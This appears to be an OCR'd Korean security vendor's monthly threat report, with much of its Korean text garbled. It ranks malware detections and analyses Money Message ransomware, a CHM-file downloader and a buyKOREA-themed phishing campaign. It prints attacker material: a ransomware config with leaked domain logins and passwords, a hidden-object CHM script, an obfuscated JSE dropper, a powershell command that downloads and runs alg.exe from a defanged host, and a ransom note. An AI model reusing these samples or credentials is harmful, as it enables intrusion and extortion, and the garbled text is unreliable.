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2023 'd 7 Eoll= Gen:Variant.Jaik.38715, Worm.ACAD.Bursted, Trojan.ShadowBrokers.A,

Worm.ACAD.Kenilfe, Trojan.GenerickKD.46017682 2HIA =7t MEH| Top15 o TISIRASLICE

O|tHOf| 2217t 258t Trojan.HTML.Ramnit. A 2HTFE= HTML IS 6K EECHE Trojan

OtAM 7 |:_

To1-—

AFBXFPC O E& AlAH AFSXIPC O MEE SQAELE HEFRX 7| 7t S 236t Eot 3AXte| HES
7|ci2ls Bullg #d5te ik A8El= AMHIAEQILICE 2017 ' Shadow Broker 82! 50| NSA O £dlil=
Equation Group 2| 7|2 2MES EF6tn O T LEE QIEUl0f| 374 AFZi0| JAACH, 0| Foll= SHUESET
TtE|o] UASLICE MZ SESH Trojan.ShadowBrokers. A = SA| SEEI 2 £ES 0|28 H|ZH=l

il

ofdTEL| BXIHOR, SAHXS2 TS| X7} EX|gh2 e FIfHE 088 3AS Aot AUk A

L=

o 2 gL,

fjo

=% S ot E FIchy 7|22 SIAI(ERE =)
1 ™4 Trojan.HTML.Ramnit.A Trojan 64,976
2 4 Misc.HackTool AutoKMS ETC 49,945
3 ™8 Gen:Variant.Razy.864420 ETC 45,031
4 New Gen:Variant.Jaik.38715 ETC 39,231
5 12 Backdoor.Generic.792814 Backdoor 38,985
6 V2 Gen:Variant.Application.Keygen.34 ETC 26,593
7 +v3 Trojan.Acad.Bursted.AK Trojan 25,939
8 +v3 GenVariant.TDss.49 ETC 21,828
9 New Worm.ACAD.Bursted Worm 21,694
10 New Trojan.ShadowBrokers. A Trojan 21,436
m 13 Misc.HackTool KMSActivator ETC 20,723
. 13 Gen:Variant.Sirefef.2727 ETC 20,278
13 13 Trojan.Damaged.PE Trojan 19,481
14 New Worm.ACAD Kenilfe Worm 17,235
15 New Trojan.GenericKD.46017682 Trojan 16,766
R =F, MDE ALBXIS) 2 SAHIE Tbsio] Mt =2 2023EH 072 01 ~ 20234 07 & 31
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[Trojan.Ransom.Filecoder]
°oMdIE M HA

1. 718

2023 ' ALY | AE "Money Message" HAR01= a2l 7|2 sS4 o= LML

oig #Madelols A™Al CMD &S =[R20 H2okE ZISHK| 2 Yzl 20f= A HEEX]| 847 W=
ArEREZH HEZ QIX[SE7 |7} 01=1=S0] RICM, Bangladesh Airlines 0] £atiRl= EHIR! BE7t SEEREE|O]
SORALCY.

2t 2 E0M0lM= “"Money Message” 2820401 CHEH &fAM| 244510k} Bt

2. oHYTE AN 2

21 H|O|E{ AN
Sk 2HMQoj= XHAIO| AFRE HIO|E{Z JSON HAIOZ JHMRLL. ARSH= HI0|E{S2| 0|23 7|52 [B 1)1t
2

2Ct.

Address (Hex dump ASCII

BE1E4C2B|FB 8D BA 28 28 28 28 22 69 6E 66 6F SF 74 65 78| {.. “info_tex
BE1E4C38 |7y SF 6D 65 73 73 61 67 65 22 34 28 22 57 57 39| t_message™: WWO
BE1ELCLA| 31 63 69 42 6D 61 57 78 6C 63 79 42 33 59 58 4D 1ciBmaWxlcyB3YXH
BE1ELCSA| 67 5A 57 35 6A 63 G6E 6C 77 64 47 56 6B 49 47 4a|gZ2WSjcnlwdGUKIG.
BE1E4CAHB| 35 49 43 4A 4E 62 32 35 6C 65 53 42 74 5A 58 4E|SICJHb251eSBEZXH
BE1ELCYA | FA 59 57 64 6C 49 69 42 77 63 6D 39 6D 61 58 52| zY¥YWdlIiBwcm9maXR
BE1E4CE0 |68 59 6D 78 6C 49 47 39 79 5A 32 46 75 61 58 78 h¥Ym=lIG9yZ2FuaXp
BO1ELCOG 68 64 47 6C 76 62 69 41 6F 59 57 35 6B 49 47 4E | hdGlvbifAgYWSKIGH
BE1ELCAD| 68 62 69 64 38 40 47 hA 6C 49 47 46 6A 59 32 56| hbidBIGJIIGF Y2V
BE1E4CEB|7A 63 32 56 6B 49 47 46 75 65 57 31 76 63 6D 55| zc2UKIGFuelMucml
BE1ELCCA| 75 43 67 78 4A 5A 69 42 35 62 33 55 67 63 47 46 |uCgpJZ2iBSb3UgcGF
BE1E4CDA| 35 49 48 4A 6B 62 6E 4E 76 62 53 77 67 65 57 39| SIHJhbnHubSuwgel?
BE1E4CEB |31 49 48 64 78 62 47 77 67 5A 32 56 30 49 47 45| 1IHdpbGwgZ2UBIGE
BO1ELCFA| 67 5A 47 56 6A 63 GE 6C 77 64 47 39 79 49 48 52(gZ2GUjcnlwdG9yIHR
BE1E4DBA| 76 49 47 52 6C 59 33 4A 35 63 4B 51 67 64 47 68| vIGR1Y3JScH(gdGh
BE1E4D16|6C 62 53 34 67 52 47 39 75 4A 33 51 67 64 48 4A| 1bS4gRGOuJ3(gdHJ
BE1E4D208| 35 49 48 52 76 49 47 52 6C 59 33 4A 35 63 48 51| SIHRvIGR1Y3JS5cHQ
BE1E4D308 |67 SA 6D 6C 73 SA 58 4D 67 65 57 39 31 63 6E 4E| gZmlsZiMged?1cnH
BE1ELDLA| 6C 62 47 59 67 4C 53 42 7O 62 69 42 38 61 47 46|1bGYgLSBpbiB@aGF
BE1E4DSE |38 49 47 4FE 68 63 32 55 67 64 47 68 6C 65 53 42| BIGHhc2UgdGhleSB
BE1E4DAE |33 61 57 78 73 49 47 LA 6C 49 47 52 68 62 57 46| JaWsIGJ1IGRhbUWF

[22 1] d&E diolE
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7ls

=

info_text_message

base64 2 QAL

HELE

S=EE T2MA
==

processes_to_Kkill

mutex_name SEA 0|2 services_to_stop ZEE= AMHIA 55
extensions IPSN, domain_login CHiel 27301 52

skip_directories

2ot Mie| ClHED|
=22
—/

domain_password | T2l IIARIE 22

network_public_key

S2Xe| 3717

crypt_only_these_dir | &3}t CRIEZ| 22

ectories

network_private_key

SZXte| 7Hel7|

[16:32:28

ASEl HEfols CMD &2 =21 XS

+87:881 [

735232

:32:28

t32:28

235%-12354
[16:32:29
[16:32:21
[16:32:21
[16:32:21
[16:32:22
1o

[16:32:22
[16:32:22
[16:32:22
[16:32:22
rror

[16:32:22
[16:32:22
[16:32:22

[16:32:23

o1

ESTsecuriTy

+A%2:8681 [

+A8%:881 [
+A9:881 [
detected
+@9:881
+A9:881
+HH9:6881
+#9:881
+89:881

+A2:881
+A2:801
+A7:881
+A%:801

+A2:801
+A%:801
+A7:881

+A7:881

[E 1] e

[thread 25481

[thread 25481

[thread
[thread

25481
25481

25481
25481
25481
25481
25481

[thread
[thread
[thread
[thread
[thread

[thread
[thread
[thread
[thread

25481
25481
25481
25481

25481
25481
25481

[thread
[thread
[thread

[thread

CilOJE &

File size: 737644, overlay start locat
Overlay found. extraction will he star

Start overlay offset: 735232
First creation of mutex 12345-12345-12

Trying to stop service vss with WHMI

Trying to stop service vss with SCH

Error code: 1862

Trying to stop service sgl with WHMI

Com ohject processing error: unknown

Trying to stop service =gl with S5CH
Error code: 1868

Trying to stop service swch% with WMI
Com ohject processing error: unknown

Trying to stop service svcd with SCH

Error code: 1868
Trying to stop service memtas with WMI

Com ohject proceszing error: unknown e



2.3 IZMA SE Al i
T2 A3 8ix| 17| ol FEIAS ARSIt FEIAS| 0|52 "12345-12345-12345-12345" 0|11 DHoF

24 NHIA =
o AL 2ol IfY SIS HUSk=E AMH|ALL HOt HIE S2f U] Xiut 2=l MH|AE SE9ICE

(8, 8, lu);

8u )

vl, 8x2Cu);

EnumDepend

"vss""sql" vmms

svc$""'memtas”"mepocs"'sophos""veeam' "backup"

[E 2] EE&= MH[A E5
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05 mENA 2

2191 PC o] IYUS QSBB| H ZHAPE XK TRHASS SIS} CHAO| Bl TRAAL OF 30 72
Ol TRAIAN FZ FOl IUSS HANO=R A53isy| 9o HOoILt Ofgfs T2AA E2 F=9f
2=20|c},

= (loseHand
goto LABEL 3@;

[O2 5] TZ2MA B2 FE

"sql.exe""oracle.exe",

ocssd.exe""dbsnmp.exe""synctime.exe""agntsvc.exe" "isglplussvc.exe" "xfssvce

“tbirdconfig.exe""mdeskto

on.exe""mydesktopservice.exe""ocautoupds.exe"'encsvc.exe" firefox.exe

pgos.exe""'ocomm.exe""dbeng50.exe
mspub.exe""

o.exe""

"'sgbcoreservice.exe""excel.exe

"“infopath.exe""msaccess.exe",

outlook.exe steam.exe""thebat.exe""thunderbird.exe""visi

onenote.exe’, , powerpnt.exe’,

winword.exe""wordpad.exe""vmwp.exe"

[E 3] ZEE/= DA 22

26 T2 =8l s
=LA ARSI =S o] MH|A0l AIAE 29l J|5S HIZTICh A g
25 M SAHS DHSE oY AR XX TR0t 20 S =S $H2 IriE =Y

==
HZXk= o] 752

e

Sol0] f=etE oo SREl= AS YXIot| 25l ofzfe] FHM= AA” S 7|
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2.7 0td Y=t
HEEl 2Z CefolE9t HERA S2t0|EE Eelor st Ly MUS HMSI AolE TIdoltt. dosk=

ECDH 2t chacha20 ==t ¥112[52 AFEdI1! ECDH 3717 |= Mol SIEZEE(0] QICE

(v6, @i64, @, 2, L"Starting
(va[1], &v15, Ox2000u);

if ( (v9 & vB)

goto LABEL 18;

if ( (va[1], &v15,
goto LABEL_9;

if ( v7 >= 8x2000 )

(v4[1], &vl5, ©x2000u);
if (w7 )
continue;

\
1]
goto LABEL_7,;

[12! 7] M olsst Ae

20ba7df1aeaeb66feb6be8e330aalbfb28d2a1bf089737aab15a273a525e6ec7bde80330ff024422f1069
251178e85a01d17233adf7535304be52223c228fbdc37f5f1adf62a85f064 3bfO0f9899f887da365fa81
8f3f2f78e59839d3dad5a6160c0ceb3df7a0e0736ca4d7ed66025787c0d4ff5deef2a6a50796b844d4
ae25e7ce096137255ab8f115d220277ac6b405

[ 4] 37x1e| 2

0

[== R T |

Ol a3
2 A2E Olsh| fgt o2 EOTICE

flA Alel=l= Tt 0lF, CIHEZ| 0IF ==0IC). =t MiQ| thes 88dk= o= Olf=
of med

MHI
me
FO

A%t Me| C[AMEZ| | "CA\msocache""C\$windows.~ws""C\\system volume information",
"C\\perflogs""C\programdata""C:\program files (x86)",
"C:\program files""C:\$windows.~bt"
“"C\\windows""C:\windows.old""C:\\boot"

Aot el mt "desktop.ini”"ntuser.dat” "thumbs.db" "iconcache.db” "ntuser.ini”"ntldr" "bootfont.

ne

i

bin""ntuser.dat.log”"bootsect.bak” "boot.ini" "autorun.inf”

[E 5] 228t "ol CRER|, Tl 22

=
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2.8 SHMLE 3}

C
2 HgEl mids S0ET| FIK| 2IX[sh|

% [=] —
MMEIH, M- Eol= TOR HEtRKE F4S oilista 1

"I money_message log - 2% E=8 =R
mF) HEE MAO) EYV) ES2H)
Your files was encrvpted by "Money message” profitable organization and can't be accessed anymore. -

It wvou pay ransom, vou will get a decrvptor to decrypt them. Don't trv to decrypt files wourself -

For further negotiations open this clientd4iBoSpilwen2nwosianfwogierbybff5uzd58hbz733) cvbpad . onion/c
using tor browser https://www. torproject.ora/download/

In case wou refuse to pay, we will post the files we stole from vour internal network, in our blog:
blogyl 7t jyjvafthobttzeb2w3Bww i 2340 fomorgydzbBhikuchYagd . onian

Encrypted files can't be decrypted without our decryption software.

(23 8] e B

29 HE®Z 38 E4 M2
WNetOpenEnumW, WNetEnumResourceW APl SZ2 EsliA AAH LY 2RE 20 2E 7142 2 HIERIZ
37 0o Mot &2 AlTsh=0| ol8kl= 202! EHE= [# 6]2 2L} 1= bg.bdbiman[.]Jcom 2

Bangladesh Airlines 0| £8liQU= EH|QIO|CH,

return (0ica, 8, 2,

domain_login "bg.bdbiman.com\anwar""bg.bdbiman.com\tapu","bg.bdbiman.com\\itlab"

domain_password "T@sl!ma2023""Bgcmis@1122""Bgit@123"

'H
K2}
\H

2R BO ¥2 3o 22
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3. 22

Money Message #iA12|0{= AF2X} PC Q| HO|EE A3l 2HS @7sH= oMACo|C) izt ofMAEE
Kol 24 SES CMD Hofl =[] AFEXolA| 41, St=aEE 2721 F2|HIES 0|83 HIERIARZ
HEE PCOf| S HHSk= EF0| UCL

Kot C&C HES OfA| 20t Yoote|r| miE0f| 22ts ?fol HMES AFEok= 7I¥EE Hdelo SH0 o 2
FO|E 7|=S0{0f etk

EpA #HEIE ool | M= 712 22 A2 E40t1, IR, OSEFH0|ME 2|42 HH|0|EsHo}
oICt fEot SR Xizs FVIHCZ oF UHHILP SCIRE MH[A SOf| LA TBHE Z| 2okt 4~ UES SO

3

SiC},

.

rot
=

Aetf|AM= Trojan.Ransom.Filecoder@2 ZTITHsHD QUC}H
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[Trojan.Downloader.CHM]
OIMAC HA HIIA

e a% 719 9 ESALE 9IESH A CHM TH0| RAR SAIO= Qi2E|0] QEE|D It Of2{st CHM
| BEHEI HTML Ti2I0| ZXFSIH, ALSXI7F CHM TS Alstsiz HAF Txf

X3t [ﬂa' 17} 20| 22 LHSS BOIFX2t ORI oML ofy M9l Sesict,

OfH EMojji= ‘RI=? =2 I (xchm) 2GR off sl 2443l 2= ot

—

2 ERY - O x |#saw - o x || #=sw - o
A. ~ =
== Cipgrs -
= PR 4B AGNRANES) 7
YR NSO EIAU O o SaTe S
. .
:'ll':il \-.4: 2 g T A T AN ) - | A3 { 4
N A = G ¥ St VA O N MK
vu-uh-lllmxvm m‘ LB VA DAL BTG B DS
- e - ity L L
B NEE NSNS A daa e = -— el Zmatn Ve ves " s veere Loy
»w - - - e ” - - - -y ) —awen
— awe " v - e -
= | M aakabandaie o TUELE TEE ST R S L TR e R L - — = -
T~ ~ - :
eus ; KT T
= o =
=
SN
v
s

var path = decodeURIComponent (window.location.href), inner = '';
var ps = path.indexOf('.chm::/"') + 4;

var cmdline = ',hh,-decompile C:\\Users\\Public\\Libraries ' + path.substr(l4, ps - 14);:

inner = '<OBJECT id="A" classid="clsid:52a2aaae-085d-4187-97ea-8c30db9%990436" style="visibility:hidden">';
inner += ShortCut"><PARAM name="Button" wvalue="Bitmap:shortcut">';

inner 4= '<PARAM name="Iteml"™ value="'" 4+ cmdline + '"><PARAM name="Item2" value="273,1,1"></0OBJECT>';
document .getElementById('par').innerHTML = inner;

A.Click();

inner = '<OBJECT id="B" classid="clsid:52a2aaae-085d-4187-97ea-8c30db990436" style="visibility:hidden">';

inner 4= '<PARAM name="Command" wvalue="ShortCut"><PARAM name="Button" value="Bitmap:shortcut">"';

inner += '<PARAM name="Iteml" value=",wscript,C:\\Users\\Public\\Libraries\\Docs.jse P"><PARAM name="Item2" value="273,1,1"></OBJECT>";
document.getElementById('par').innerHTML = inner;

B.Click();

[12! 2] CHM Tieloj| ZRfsti= o ARl
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2 otN3AE

M EHTA

HI

bt
0% Of
rob A

OF ot ATRIELE ‘C\Users\Public\Libraries\\' 52| Z=0| 4=l ‘Docs.jse’ THAS Wscript 2
Ct.

e

[function d(s) {%
var t = "";%
for (var i = 8; i < s.length; i++) {%
var ascii = s.charCodeAt(i);%
var ¢ = String.fromCharCode(ascii);%
if (ascii == 42) ¢ = String.fromCharCode(92);%
else if (ascii == 36) c = String.fromCharCode(47);%

else if (ascii == 126) c = String.fromCharCode(58);%
else if (ascii == 124) ¢ = String.fromCharCode(46);%
else if (ascii == 33) ¢ = String.fromCharCode(37);%
else if (ascii == 35) c¢ = String.fromCharCode(38);%

else if (ascii == 61) ¢ = String.fromCharCode(95);%
else if (85 <= ascii && ascii <= 9@8) c = String.fromCharCode((ascii — 65 + 15) % 26 + 65);%
else if (97 <= ascii && ascii <= 122) ¢ = String.fromCharCode((ascii — 97 + 15) % 26 + 97);%
t = t.concat(c);%
¥
return t;%
35
var w = new ActiveXObject(d("HDnctae|Dspww"));%
if (WScript.Arguments.length = @) {%
w.RegWrite(d({"SVPI=NFCCPYE=FDPCDZQEHLCP*Xtnczdzge*Htyozhd*NfccpyeGpecdtzy*Cfyx0znfxpye"),
d{"N~*Fdpcd+AfmwtnsWimclctpd*0znd |udp"), d("CPR=DK"));%
15
w.run(d({"nxo $n azhpcdspww thc -zfeq 'exa!slwr|pip seead~%$%$aalyrk|xzxsxutqt # delce !exa!slwr|pip"}, O,
false)

[22! 3] Decompile €l Docsjse LHE

2.2 Docs.jse It &4

Docs.jse T2 QI El JavaScript £ BIX|AEZ| ASAEH Run 7|18 S5 THREE A0 Xtso=2 AHE
= JUEE HToIC) O|F, I HEHE 0|83 'hxxp://ppangz[.Jmom/miifi’ SZX} F:A0]|

HESI0] %temp% ZE0] 24 mf(alg.exe)S CIREE F AT M= FHHO= Of2eb ZLCt,

Al o]

"C:\Windows\System32\cmd.exe" /c powershell iwr -outf C:\Users\[AF2AFHE]\AppData\Local\Temp\alg.exe
hxxps://ppangz[.Jmom/mijifi & start C:\Users\test\AppData\Local\Temp\alg.exe
[E 1] 2 2K =22
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2.3 alg.exe Ot 24
1) E2o|E FE Sl CHEZ| 55 F

AMEXL PC 2| E2I0|E HERt ClHER|0f| EXfst= MY 55 HEE $+E6HH, 'C\Users\Public\Pictures’ Z=0|

PHE mAFo| MIAE Ml s&E HESE MEeltt.

[]1 drives

fo drivelnfo drives)

(
(drivelnfo
(

(drivelnfo )

, drivelnfo

drivelnfo

(drivelnfo

()

velnfo2

(drivelnfo2

APEXF E2IOIE(C), D) ...) St2l 55 TA
C:\Program Files\AhnLab

C:\Program Files (x86)\AhnLab
CiUsers

AEATE
C:\Users\[AtEXHE]\AppData\Local
C:\Users\[AFEXHEH]\AppData\Roaming

[E 2] 2% =22

THd /=

2) Hefex EE +F

Chrome ¢! E2tX2Q| ‘C\Users\[AF=2AIEH]\AppData\Local\Google\Chrome\User Data’ ZZ20{| ZX{sh=
2701 MY S|AEZ| ", Extension WEE $85HH, +EE MEE= '‘CiUsers\Public\Pictures’ Z=0]| 2=
IIUHEOE A=5H0 K&t

[2&! 5] Chrome H2fRXA| ME 3 IE
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A
4% 22

Extension* Web Data, History, Bookmarks, Login Data

ERRSEE

3) £l20f| ArgEl o 3 K| AEE| FHE 1
Q

=1
Windows 2% H[F0|A %20l AbEEl T 8l 29| Hi=20t7| mednt £ =9 HX[AEE| HEE 7t

IO, 1) S2tol Hi U ClHER| 25 27/0] 7E BAE Tilof 7} KFIC

CAUsers\[AF2 XA ]\AppData\Roaming\Microsoft\Windows\Recent
HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache

HKCU\Software\Classes\Local Settings\Software\MicrosoftWindows\Shell\MuiCache
HKCU\Software\MicrosoftWindows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Persisted

[ 447 =22

LAE HEE =L AKX T4 (hxxps://tosals[.]ink/UEH5J.html) 2 HEEICE
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3. 82

BES S8Y URlchm)S O/SH SISREE ABXE| TS et N B 5l 8 SRi9 Hos
LR[S QIEATIZ ORYTACOILY, Of2{3t HEflo] THS ALBXIS| SR04 0l0jXI2} HAES HoIFORM,
ABRIZE B2S QIXo| off2 4F0= 9IFolol RER|T Uk

0
I
=2

2 TGH[olM of2iet FdREN| HHO| El= B, AFSAIe| FE EF(0f [ME &0, At &4 52
LEE 4 A0M Fo7F BRSIT,

mfekM, AE3E AHS LR[S ] 2ol t'ﬁl%* = Gl= HO[X|0| A miES CH22E SHX| B4010f BHH HHo]
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MER SIZOIMEH SESHs DjILMIZ R0 Fo)

DHL|HZ 2SS RHFREIL 2= RASLICE

DHLIHIZ 2HE0ls 7|Z0 SSolA| =210|2 Hio| THRRE A4S Sl REE1D ASLIC

10

| K F MRS B TR0 Hatt 9 XSO 2ICIM Sin, AUTYO|L ot S8
3et msi TIUS ALSRH HRIH0| XSO LIRFED AIBXIe| Mg SEsH| H20| AR} o2 S
3 ol mach

N Ho

(=)
=]
=

k=2
[ =
O[&f(19H1 O|&)o[ofof2t FHefMoz SAGHH, 2 Hdc|= 2t
o HiZ SRELCL

OftHo| REZQI DHIL|HI=Z Ho| Fe Hgetd =
u]

-_

A 20fl= oIl ALEoIM HASC Z2MAS S0i|A, ChEat 22 Z2=MHAS| s 2= IXM&Es
A EBiL|Ct

result = (HtQuerySystemInformation){SystemProcessInformation, v?, v3, &u3, vl
vy = pesult;
if { u3 )
{
if ( v >= 8 )
{
result = uw¥;
for { 1 =v¥; i; i = (i + i->HextEntryOffset) )}
1
ub = -1164;

if {( i-*ImageHame.Length > 6 )
{

uG = sub_CD7B{i->UniqueProcessid};
ifF { uh = -1 )
{
ul1?2 = BXFFFFFFFFFFFBBDCALGY ;
HtDelayExecution = resolved ntdll api(8xz34%, 8);
HtDelayExecution{Bi6h, &ui12);
if ( tis x64 process{ud) )
thread injection{uvé, vik, BxCBFJu);

[02] 1] 2= QIHM CHAF 24~

TE QMM CHAM T2HA ZA

i o —

-X64 ZEMIA
- O|F0[ 7 X} ool = M|~
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3 X4l Hot S

Z0| LR[oh= E2MASO]| Tiolo] A= QIEME AotH, QIHM0] d5otH thg =AS H2let 2=

7
—
IAS0]| Cidl L=ohE TSI =HAIE  "eejnemvx"2 HARILICE,

u38 = vis->FileAttributes;
if ( v3g = 1)
{

if { v38 & FILE_ATTRIBUTE_DIRECTORY )
1
if ( sub_2BB{v27, (v7h4 + 11089))
&k sub 2BB{wvZ7, (u3? + 1113))
Gk T(uldB & 4)
G *(ud8 & 2)
&& * bittest(&u38, BxEu) )

vl = uil;
memset{uv7d, B, =un5);
sub_348{v4B, viR);
sub_ 398{v41, v27);
sub_398{uvh2, (v7h + 1119));
file_encryptedfuntion{vi3d, v8?, v98, v91, &us%, &uS58, &ubl);
b
goto LABEL 58;
’
++uLf;
if ( *{v38 & FILE_ATTRIBUTE_SYSTEHM)
&k *(u3B & FILE_ATTRIBUTE_HIDDEHN)
G *{v3B & FILE ATTRIBUTE READOHLY)
&& ! bittest{&v38, 8u)
&& ! bittest{&uv38, Bx18u) )

(02! 2] =zt M2l M

ot A =71

- 20 X M=

CtE EXIE0| M =3t ofX| 942

documents and settings, appdata, local settings, sample music, sample pictures, sample videos, tor
browser, recycle, windows, boot, intel, msocache, perflogs, program files, programdata, recovery,
system volume information, winnt

- DICIHMER| £ M3
ni/ClAEz|9| £A40] 'SYSTEM' 'HIDDEN' "READONLY'C 2 MHE|0] Q= AR ASSISHX| 2.

- sajol2 =7 #2
EZMC|AS, 2{7|HE E210|H, CD-ROM 2| 22 2=e} ChalolM el
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6 FERE| LStRAEXTISSA ZESHKOTRA)2| +EXIHZ2Z HIO|22|0HbuyKOREA)S ?I&T! I|d
H|o| CHEez RESILCE

Hfo|Zz|of ol HY2 =5F throf 7| O|HEZ REL[L oM SFE LIS 7|Y ALEAL HElE2Se
S

ZfEet Fo|vt AR

YKOREA] business proposal (No. 78812) fram Mini Corp. - HAIX] (HTML)

CET TS
2023-07- £
Ol(7h HE Ape chdl =l Ol(7h th& AtE il 2
KOTRA KOTRA 3
[buyKOREA] business proposal (No. 78812) from Mini Corp. [buyKOREA] You have 1 new PO inquiry
@ 0 XTI EAISE YA0] STt UOW 07| SEGI0] B HELN0L HAKE HQSHIAL S2E7 £29 HARE ZREUL
”~ O BAK| 7t ZAI & g4i0] 27 2% (7|2 S5 2 S H0A HAXIS 2YSUAIL. ~
BUYKOREA  You can find Korean Product & Supplirs
bUYKOREA You can find Korean Product & Suppliers
From : buyKOREA, ™
From : buyKOREA
Subject : [ouyKOREA] Inquiry (No. 4416946) from Mini Corp.
Subject : [buyKOREA] PO (No. 4883482) from picture tee Co., Lid.
Dear Mr.Ms.
DearMr.Ms
A new business proposal has been arrived on buykorea.org.
orEEH e
Prease see below for more details, S DuKOREAN A 232 HITLIA TRES AENOM 252 HAGE AHEIIE HELDE
You have received an Inquiry about SETHE 2 ATE IHE WE| SN FRZ I LN HHH S0 T2 HE22)
(58302185) Business order inquiry
Please see below for more details.
ou hz d an Inguiry about
(95159160) Business order inquiry
When replying in the buyKOREA, Inquiry, quote, order, delivery can be managed from one place!
Copyrignt (¢} 2023 all fights reserved buyKOREA. org, KOrean frace investment p omotion Agency Since 2005, When replying in the buyKOREA, Inquiry, quote, order, delivery can be managed from one place!
The Official B2B Marketplace supporied by KOTRA enabling KOPS, Trust Guaraniee Service of Korea Export Insurance Corporation
= AlH|el
[32! 1] buyKOREA AHE T-&m|d
=
-

2AX = OA 0| HZ0| 'buyKOREA =2 'KOTRA 7|/IEE F7I610] fAIXle| F2tg Sl Qo &
O|lH|e] AR WUAX} T4 HA| 'buykorea.orkr'Z HASIO WASH=s X[2ets EQILICE

SAXHEX| ESRC Of|M =Eiet HIO|22(0F AR m|d M2 M=S2 Ch3at Z#5LCh

(buyKOREA) Charp corp sent you a business proposal
[KOTRA AtE[O}1 2HEH EolAbet

[buyKOREA] Starlight Homes Co., Ltd business proposal
[buyKOREA] You have 1 new PO inquiry

[buyKOREA] picture tee co., Itd business inquiry
[buyKOREA] Bulk order (No. 134638) from Mini Corp.
[buyKOREA] business proposal (No. 78812) from Mini Corp.
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3 2|4 =ot 5%

[ o

I Al MY LHofl= [inquiry box] HHEO| QIOM, AR} s HES +2H
0|=3t0] AYEL EFE Al=RILICE

OH

ARt MERH 52 Tld Ho[X|2

ESRC Of|A =felot m|d m|o|x|:=

s FIX| BRE, CIAIRI2 =5 H=X2F F7H9| DiHO[X] 2F AEALS]
27915 RERLCE

oo 218l AIZI0] ARSI LICE T 2TASHIN L.

LLTESY

OO HEH
=

bUy KOREA Al v I'm looking for. Q

Log In

Industrial Expo Trade Shows Global Partnership GP Open Innovation Support

P23
ﬁ Password

(%) Email Password

Forgot Your password ?[Buyer Click]

Join free if you are not a member, Join free now

Buyer Registration

(22 2] Tl Holx|

g

Y, AR ol HEE AEEE

oA

fuin

2HolH Yo AEYEE SEX MHZE HEEH SH0| S=ELIC

ojd SH0| €2 Fulol X1 ASLICE AFBARES t2EEHM= lal22iz o[ W 23 28

a —_

ZA|7| Hi2tH, HO[X| H<& Al < mo|X[2] URL & 2fRIstAl= &2t 71M0F BfL|Ct.

-
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